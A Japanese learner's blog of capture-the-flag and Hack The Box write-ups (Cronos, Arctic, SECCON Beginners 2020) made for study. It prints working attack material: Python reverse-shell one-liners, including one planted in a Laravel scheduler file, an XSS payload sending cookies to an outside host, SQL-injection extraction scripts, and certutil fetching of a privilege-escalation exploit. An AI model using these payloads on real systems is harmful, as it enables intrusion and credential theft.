備忘録なるもの

hack the box Cronos [linux]

f:id:grapesoda204:20200609153754p:plain

こんにちは。グレープ粗茶です。
今回はhack the box のmedium machine をやっていきたいと思います。

nmap

最近は空いているポートだけを先に調べたうえで、限定したポートに詳細な調査オプションを付けて実行しています。

# Nmap 7.80 scan initiated Sun May 31 03:44:52 2020 as: nmap -sC -Pn -A -p22,53,80 -oA output cronos.htb
Nmap scan report for cronos.htb (10.10.10.13)
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Cronos
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ネームサーバーが動いているのでcronos.htbにアクセスすると、laravelの初期画面を書き換えたものが表示される

f:id:grapesoda204:20200609153756p:plain ちなみに10.10.10.13にアクセスすると、apacheの初期画面が表示されます。 ippsec曰く、これが見えると設定ミスがあるだとか言っていましたね。

(追記)

ちなみにどのようにapacheでvirtualhostが設定されているのか張っておきますね

www-data@cronos:/etc/apache2/sites-available$ ls
ls
000-default.conf  admin.conf  default-ssl.conf  laravel.conf
www-data@cronos:/etc/apache2/sites-available$ cat laravel
cat laravel.conf 
<VirtualHost *:80>
ServerAdmin admin@your_domain.com
DocumentRoot /var/www/laravel/public/
ServerName cronos.htb
ServerAlias www.cronos.htb
<Directory /var/www/html/laravel/>
Options FollowSymLinks
AllowOverride All
Order allow,deny
allow from all
</Directory>
ErrorLog /var/log/apache2/chronos.htb-error_log
CustomLog /var/log/apache2/chronos.htb-access_log common
</VirtualHost>

侵入経路見つからず…

writeupを少し読んでみると、DNSのところをしっかり調べる必要があるみたいです。

port 53

次にドメインのネームサーバが動いている事から、ゾーン転送を行うようです。

正味DNSの知識が無かったので、いろいろ調べて読んでみました。

そこで「DNSをはじめよう」という同人誌を参照しました。とても説明が分かりやすく、ハンズオン形式で進むため面白かったです。多分続編の「AWSをはじめよう」も買ってしまうかもしれない…(構成がうまい)
そんなわけで、DNSのゾーンファイルを参照するために digのaxfrのオプションを加えて実行します。
ちなみにゾーン転送が許可されていないと「transfer failed」 とエラーが返ってくるらしいです。初心者のためのDNS運用入門

kali@kali:~/htb/hkb/cronos/nmap$ dig @10.10.10.13 cronos.htb axfr

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 274 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Mon Jun 08 07:38:58 EDT 2020
;; XFR size: 7 records (messages 1, bytes 203)

すると、admin.cronos.htbというサブドメインが発見できます\(^_^)/

port 80

次にadmin.cronos.htbに接続してみる。

そこでは、簡単なSQLinjectionを刺すことができた。

f:id:grapesoda204:20200609153751p:plain

admin画面

ログイン画面を開くと次のような画面が表示されます。

どうやらpingコマンドを使える管理ツールのようです。一瞬で刺さりそうですねコレハ。

f:id:grapesoda204:20200609153800p:plain

とりあえず、OSコマンドインジェクションが行けそうなので仕掛けてみます。

f:id:grapesoda204:20200609153803p:plain

刺さりましたね。 ということで、reverseshellをやっていきます。

;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

そんなわけで、user.txtを覗いていきます💪

$ ls -l /home/
total 4
drwxr-xr-x 4 noulis noulis 4096 Apr  9  2017 noulis
$ ls -l /home/noulis
total 4
-r--r--r-- 1 noulis noulis 33 Mar 22  2017 user.txt
$ cat /home/noulis/user.txt
<kotae>

privilege escalation

LinEnum.shを用いてsuidやcrontabなどを見ていきます。 下の情報はcrontabです。

# m h dom mon dow user   command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#

どうやら毎分laravelのscheduleが走っているそうです。ということで、親の顔より見たredoubleを参照します(適当)

https://readouble.com/laravel/5.7/ja/scheduling.html

コマンド実行のメソッドがあるのでそれを利用して、reverseshellを実行するコマンドを設定します。

<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
    /**
     * The Artisan commands provided by your application.
     *
     * @var array
     */
    protected $commands = [
        //
    ];

    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        // $schedule->command('inspire')
            //          ->hourly();
            //
        $schedule->exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')->cron('* * * * *');
    }

    /**
     * Register the Closure based commands for the application.
     *
     * @return void
     */
    protected function commands()
    {
        require base_path('routes/console.php');
    }
}

適当に一分ほど待ってるとshellが返ってきます。

kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.13] 50326
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/user.txt
cat: /root/user.txt: No such file or directory
# cat /root/root.txt
<kotae>

感想

今回は唯一知ってるフレームワークのlaravelが問題の一部とされていて、解いていてとても楽しかったです。やはり知っていると、素早くリファレンス等にたどり着けて、どこ弄ればいいのか分かるので楽しいですね~。

DNSについては、講義で軽く触れる程度でしか知らなかったので再度自分で勉強する機会ができたので良かったです。

あと解いた後に気づいたんですけど、cronosってcrontabの文字遊びだったんですね…

他のwriteup

  • kernel.phpではなく,artisan本体をreverseshellに置換していました。

    今回はフレームワーク動作の根幹ではないため、壊れませんが場合によっては躊躇する力業な印象があります…

seccon beginners[2020] writeup &復習

こんにちは!グレープ粗茶です。
今回は、secconbeginners2020に参加してきたので、そのwriteupと復習を行いたいと思います! Web問題中心にやってきます。

spy[web]

この問題では、ページのロードにかかった時間を表示する機能が存在する。 それを利用して、if文に入った場合には時間が掛かるので、それをユーザー名の総当たりで確かめる。 26回確かめるだけでよかったので、競技中は手打ちで頑張った。

emoemoencode[misc]

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

このような絵文字が与えられる。 ぱっと見でctf4b{○▽✖}を何かしらで変換した形であることを想定した。ここでunicodeの表で検索してみることにした。
f:id:grapesoda204:20200527003328p:plain
試しにasciiと比べてみてみると16進数で cが合致していることに気づいた。
f:id:grapesoda204:20200527003419p:plain
正直これに気づけたのは、tweetstore解いた直後に見たからってのがある。。

R&B[crypto]

下の二つが与えられる。 FLAG

BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

problem.py

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

どうやらFORMATというファイルに RかBが記載されており、その形式分だけrot13及びbase64エンコードしているらしい。 これを先頭の文字と合わせてデコードしてあげれば、FLAGが取得できる。

tweetstore[web]

問題のソースコードの中から確認できることは

  • ユーザ名がフラグということ
  • LIMIT句からの方がインジェクションし易そうなこと

ためしに LIMIT (select 1) というようにしてみると、要素を一つだけ獲得できる。

package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"
 
    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets

    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        http.Error(w, http.StatusText(500), 500)
        return
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    initialize()

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}

先ほどの

LIMIT (select 1)のようにすれば、一つだけデータベースから値を出力してくる。これと同様に値を取得して、LIMITで出てきたデータの数でフラグの決定を行うことにした。

具体的にはLIMIT ascii(substr((select current_user),1,1))のように行う。

  1. current_userの文字列の一番目から一番目までの文字を取得
  2. asciiに変換

また取得できるツイート数も200コあるので、asciiはカバーできることを再度確認。

他の方のwriteupを見ていると、if文をここに仕込むことでデータ数が少ない状況であっても対応できるような解法を取っていた。

コード作成

まず画面の右側に一覧表示として何個表示できているのかを表示している項目がある

f:id:grapesoda204:20200527004458p:plain

webスクレイピングの要素を探していると微かな優しさを感じるhiddenの設定が発見できた。

めんどくさい文字列操作が要らない\(^_^)/ f:id:grapesoda204:20200527004515p:plain

以下 取得する番目をループで行うコードを示す。

import requests, bs4

url ="https://tweetstore.quals.beginners.seccon.jp/"
for i in range(1,33):

    payload="ascii(substr((select current_user),{},1))".format(i)
    param={'search':'',
        'limit':payload}

    get_url_info = requests.get(url,params=param)
    
    bs4Obj = bs4.BeautifulSoup(get_url_info.text, 'lxml')
    
    js = bs4Obj.find('input',id='nTweets')
    flag_str =js['value']
    flag_num= int(flag_str)
    
    print(chr(flag_num),end='')

フラグの文字が少しずつ分かるの好きです(笑)

[PostgreSQL] 接続中のユーザを取得する&他 : してログ - LANDHERE

ascii

他の方のwriteupをみて

どうやらsearchのクエリ部分からも特殊文字のスラッシュをエスケープすることで、SQL文側に入ってる\に\を指すことによって、'を特殊文字として有効化させることができるらしいですね。

それでインジェクションが刺せるようです。

その時のペイロードは下記となります。めっさ簡単やんけ(゚Д゚;)

\'; select current_user, current_user, now()  ; --

実はなんとなく一番最初にこの方法で試そうとしたんですが、うまく行かずに辞めてしまいました。その時に試したのは、下記のようなインジェクションを試すものです。

\' and 1=0; select 1,1,1;--

そして、このやり方でやってしまうとhttpstatusが500として出力されてしまいます。 実はこのエラーは、単なる構文エラーではなくコーデイングにより定められたものとなっています。

f:id:grapesoda204:20200527004542p:plain

f:id:grapesoda204:20200527004555p:plain

この解法を進めるにはソースコードをさらに調べる必要がありました😞
ソースコードに下記のような記述があります。どうやらデータベースから取得する情報の型を指定して、それ以外だとエラーと捉えるもののようです。

for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

https://golang.shop/post/go-databasesql-04-retrieving-ja/

これに対応させてインジェクションが可能かどうかを確かめるのは、下のようなペイロードが最適かと思われます。ここでは、二つのstring型を出力する際にクオーテーションを利用してしまうと、また問題が起きかねないのでCHR関数を利用しています。

\' and 1=0; select chr(99),chr(99),now();--

今までインジェクションを行う際に気を付けることといえば、列の名前程度と捉えていましたが、型に注視する必要があることに気が付けてよかったと思います。(ソースコードを上から下までちゃんと見ましょう。。)特に日付型は厄介ですね。。

postgresqlデータ型

最後に

seccon beginnersでは、最後にdiscordサーバで好評が行われました。この時にtweetstoreの想定解はlimit句からのインジェクションであることが明かされましたが、違う回答をしていた人が多い感じでした。なのでsearchパラメータからのインジェクションが多かったのかと思います。

これ以降は解けなかった問題&見てない問題

unzip

解法として、セッション変数とゲットパラメータ両方からフラグを参照するようなペイロードを割り当てる必要があるということは確認できた。
しかしながら、ファイルの命名方法に躓いてしまった。コマンドプロンプトから/を含むようなファイルを命名できないことを確認したがその方向からやろうとし続けていた。

解法

zip内のファイル名に../../../../flag.txtとつければよいので、zipコマンドを実行するディレクトリから相対パスで該当する場所にflag.txtを置いたうえでzip file ../../../../flag.txtと入れれば作成できる。
またバイナリエディタを用いてzip内にあるファイル名を書き換えるという方法がある。

profiler[web]

下の記事を参考にして進めていく。

szarny.hatenablog.com

全体としての流れは下のようになる。
1. まず最初に利用できるクエリを知る
2. adminのtokenを取得する
3. (1)で明らかになったクエリを利用して、自分のtokenをadminのものに上書きする
4. GET FLAGボタンを押す!
まず最初に playgoundというソフトを利用して、使用できるクエリを調べる。

f:id:grapesoda204:20200527010350p:plain

f:id:grapesoda204:20200527010408p:plain

取得と上書きでどんな構文?クエリが使えるかどうかはエンドポイントに接続したらすぐわかる仕様になっていた。ナニコレ使いやすそう(笑)  

引き続き、playgound行う。 利用できるクエリに倣ってadminのtokenを取得するパラメータを設定する

    query {
      someone(uid:"admin"){
        name
        profile
        token
      }
    }
すると下のように帰ってくる
    {
      "data": {
        "someone": {
          "name": "admin",
          "profile": "Hello, I'm admin.",
          "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b"
        }
      }
    }

これで、adminのtokenを獲得することができた。
次にセッションIDを利用して通信する環境を用意する。 今回はブラウザでできるだけ行いたかったのでプロキシツールを利用する。 - firefox - burpsuite

そしてapiとの通信をプロキシツールで下記のように書き換える。これは自分のtokenをadminと同値にするというぺいーロードとなる。

    updateToken(token:\"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")

これによって自分のIDに対してadminと同じtokenを割り当てることできる。

そしてブラウザにてGETFLAGをクリックすればクリアできる。(tokenを書き換えたアカウントのセッションでgetflagのクエリを送ればよい)

Somen[web]

作問者の講評を基に復習していきます。 この問題は、woker.jsにもあるようにcookieを取得することが目的のXSS問題のようです。

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

また、この問題ではCSPをバイパスすることとが課題の一つとなっています。自分は、このCSPに関する知識が甘かったので一度復習したいと思います。

CSPとは?

XSSなどのインジェクションを防ぐためのブラウザのセキュリティ機構。 未対応のブラウザではCSPは無視され同一オリジンポリシーを適用する。
また開発などで、CSPを有効にしたい場合には、ミドルウェアの設定でcontent-security-policyのHTTPヘッダに記述する。 またメタ要素を用いてCSPを設定することも可能。

ソースの指定

それぞれのタグ等で利用するソース先を制限することができる。 設定していないものについては、default-srcで設定したものが適用される仕様 contents-security-policy/mozilla

設定内容

制限する値は下のようなものとなる。

解法

問題の解決課題が二つある
1. 数字と文字以外入力するとエラーを起こさせる/security.jsがある
2. CSPのbypass

1. security.jsの読み込み回避

<>などの特殊文字を入力するためには、このjavascriptファイルの読み込みを回避する必要がある。

このファイルはあくまで絶対パス(http://fdkasldfj/secruity.js)ではなく、相対パスで設定されている。ここでタグを利用してhtml内のURIを指定することによってサーバーのsecurity.jsではなく、自分のサーバにある空のsecurity.jsを読み込ませることができる。(適当な値をいれてとりあえずエラーにさせられればここではよい。)

また、baseタグについては下記参考

: 文書の基底 URL 要素

2. CSP回避

今回のcspは下記となる

Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"

default-src 'none'となっているので、他の要素で設定されているもの以外は利用できない。

そしてscript-src では nonce と 'strict-dynamic'が設定されている。

サーバー側で作られたスクリプトタグしか動かないようになっている。しかしながら、'strict-dynamic'設定により、ここから生成されたスクリプトタグは信頼されたものと判定され動作する。

またユーザからの入力タグはサニタイズされることなく、タイトルに埋め込まれる。

これらのことから、タイトル部分に</title>を含ませてタイトルタグ終了させつつ、script#messageを注入することによって、innnerHTMLで入れる攻撃文の入力先をpタグからscriptタグに変更することができる。

location.href="https://test123.free.beeceptor.com?"+document.cookie;//</title><script id="message"></script><base href="http://example.com">

usernameという入力の出力先が二つあるため、少し複雑になってますね。。

最後に

CSPに関してはとても勉強になりました。なんだか知らない事が多いので、知識の抜け穴補完のためにmozillaのdocsを全体的に眺めてみたいかと思います! あとブログのさぼり癖強いですねー。。定期的に上げていきたいです👍

HTB arctic [windows]

f:id:grapesoda204:20200519214839p:plain

今回はHTBwindowsマシン arcticやってきました。

nmap

kali@kali:~/htb/hkb/arctic/nma$ nmap  -A -Pn  10.10.10.11
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 08:42 EDT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 0.65% done
Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 08:44 (0:00:34 remaining)
Nmap scan report for 10.10.10.11
Host is up (0.18s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.82 seconds

8500

coldfusionというサービスを発見した。このエクスプロイトについて検索する。

すると、パストラバーサル脆弱性に関するエクスプロイトがあるらしい。そして、coldfusionのエクスプロイトコード(パストラバーサル)を実行してパスワードを獲得する。その結果ハッシュ化されたパスワードを獲得することができた。

kali@kali:~/htb/hkb/arctic/coldfusion$ python 14641.py 10.10.10.11 8500 ../../../../../../../lib/password.properties
------------------------------
trying /CFIDE/wizards/common/_logintowizard.cfm
title from server in /CFIDE/wizards/common/_logintowizard.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
------------------------------
trying /CFIDE/administrator/archives/index.cfm
title from server in /CFIDE/administrator/archives/index.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
------------------------------
trying /cfide/install.cfm
title from server in /cfide/install.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
------------------------------
trying /CFIDE/administrator/entman/index.cfm
title from server in /CFIDE/administrator/entman/index.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
------------------------------
trying /CFIDE/administrator/enter.cfm
title from server in /CFIDE/administrator/enter.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------

ハッシュの種類特定については、下記のようなサイト等を利用した。このパスワードのハッシュがsha1と出てきました。

Hash Analyzer

(追記)kali linuxにもハッシュの種類を調べるツールがあるらしいですね。https://allabouttesting.org/hash-identifier-usage-in-kali-linux/

こっちの方はコマンドラインで完結するので、ブラウザ開くより早く解析できそうですね

sha-1と確認したハッシュ値に対して,hashcatを利用して辞書攻撃を行った。

hashcat -m 100 hash /usr/share/wordlist/rockyou.txt --force
2f635f6d20e3fde0c53075a84b68fb07dcec9b03:happyday
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: SHA1
Hash.Target......: 2f635f6d20e3fde0c53075a84b68fb07dcec9b03
Time.Started.....: Fri May  8 00:32:08 2020 (0 secs)
Time.Estimated...: Fri May  8 00:32:08 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    23509 H/s (1.14ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: newzealand -> iheartyou

先の結果から、ハッシュ値の値がhappydayという事が分かったので、

coldfusion8のログイン画面でadmin:happydayと入れてログイン\(^_^)/

f:id:grapesoda204:20200519214947p:plain

ログインしてから、適当にファイルアップロード機能とコマンド実行機能が無いか軽く探したが見つけられなかったので、この画面からの攻撃方法を調べてみた。すると、スケジュールを設定できる項目があり、そこからkaliにあるファイルをダウンロードできるということが分かった。

ログインしてからリバースシェルを仕掛けるまでの動きは下記の動画を参考にした。

動画の内容は、msfvenomで作成したリバースシェルをダウンロードして、指定のディレクトリにアウトプットするという物
あとは、ブラウザでそのパスにアクセスして着火させればよい。

ドンピシャでいけました!

https://www.youtube.com/watch?v=NRMhZ3tofpM

kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.10.11] 49469
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ColdFusion8\runtime\bin>cd %USERPROFILE%
cd %USERPROFILE%

C:\Users\tolis\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F88F-4EA5

 Directory of C:\Users\tolis\Desktop

22/03/2017  10:00 ��    <DIR>          .
22/03/2017  10:00 ��    <DIR>          ..
22/03/2017  10:01 ��                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  33.180.917.760 bytes free

C:\Users\tolis\Desktop>type user.txt
type user.txt
<kotae>

権限昇格

systeminfoの出力をkaliにコピーしてきて、windows exploit suggesterを使用する。

AonCyberLabs/Windows-Exploit-Suggester

kali@kali:~/htb/hkb/arctic/shell$ cat exploit-suggester 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*] 
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

詰まない限りmetasploitは使わないので、[E]のみを利用していく。 一番上の[E]は、違うものっぽいのでとりあえずスルーします。

[E] MS11-011

[E] MS10-059

[E] MS10-047 権限昇格できそうな三つを上から順で確かめていくことにした。

MS11-011のエクスプロイトコードがうまく使えなかった。

次に MS10-059のエクスプロイトコードを試す。

https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059: Chimichurri/Compiled

そしてダウンロードしたファイルを仕様どうり実行してみる。

あと実はここでめちゃくちゃ躓いていた…

Exeが実行できなくて何故だと思って、

Kali側でcatしたらexeファイルがhtmlだったという事故を起こしていた…

ちゃんとダウンロード先確認しよう(自戒)

C:\ColdFusion8\runtime\bin>certutil.exe -urlcache -split -f http://10.10.14.40/Chimichurri.exe exploit3.exe
certutil.exe -urlcache -split -f http://10.10.14.40/Chimichurri.exe exploit3.exe
****  Online  ****
  000000  ...
  0bf800
CertUtil: -URLCache command completed successfully.
 
C:\ColdFusion8\runtime\bin>exploit3.exe 10.10.14.40 4445
exploit3.exe 10.10.14.40 4445
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>
C:\ColdFusion8\runtime\bin>

kali側からエクスプロイトコードをダウンロードして、kali側にて待ち受ける。

kali@kali:~$ nc -nlvp 4445
listening on [any] 4445 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.10.11] 49856
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ColdFusion8\runtime\bin>sysinfo
sysinfo
'sysinfo' is not recognized as an internal or external command,
operable program or batch file.

C:\ColdFusion8\runtime\bin>whoami
whoami
nt authority\system

C:\ColdFusion8\runtime\bin>cd /Users
cd /Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is F88F-4EA5

 Directory of C:\Users

22/03/2017  10:00 ��    <DIR>          .
22/03/2017  10:00 ��    <DIR>          ..
22/03/2017  09:10 ��    <DIR>          Administrator
14/07/2009  07:57 ��    <DIR>          Public
09/05/2020  04:40 ��    <DIR>          tolis
               0 File(s)              0 bytes
               5 Dir(s)  33.181.630.464 bytes free

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt                                                                                       
<kotae>                                                                
C:\Users\Administrator\Desktop>

今回はエクスプロイトの過程を解説してくれている動画を見つけてしまったので、大事な部分がすぐに終わってしまった気がします。 中々ないパターンだと思うので今回は良しとしたいと思います(笑) またBOX全体を通してみて、今までの復習のようなことが出来たので大変良かったと思います。 しかしながらダウンロード先間違えてて、時間食ったのは辛かった。

最後に

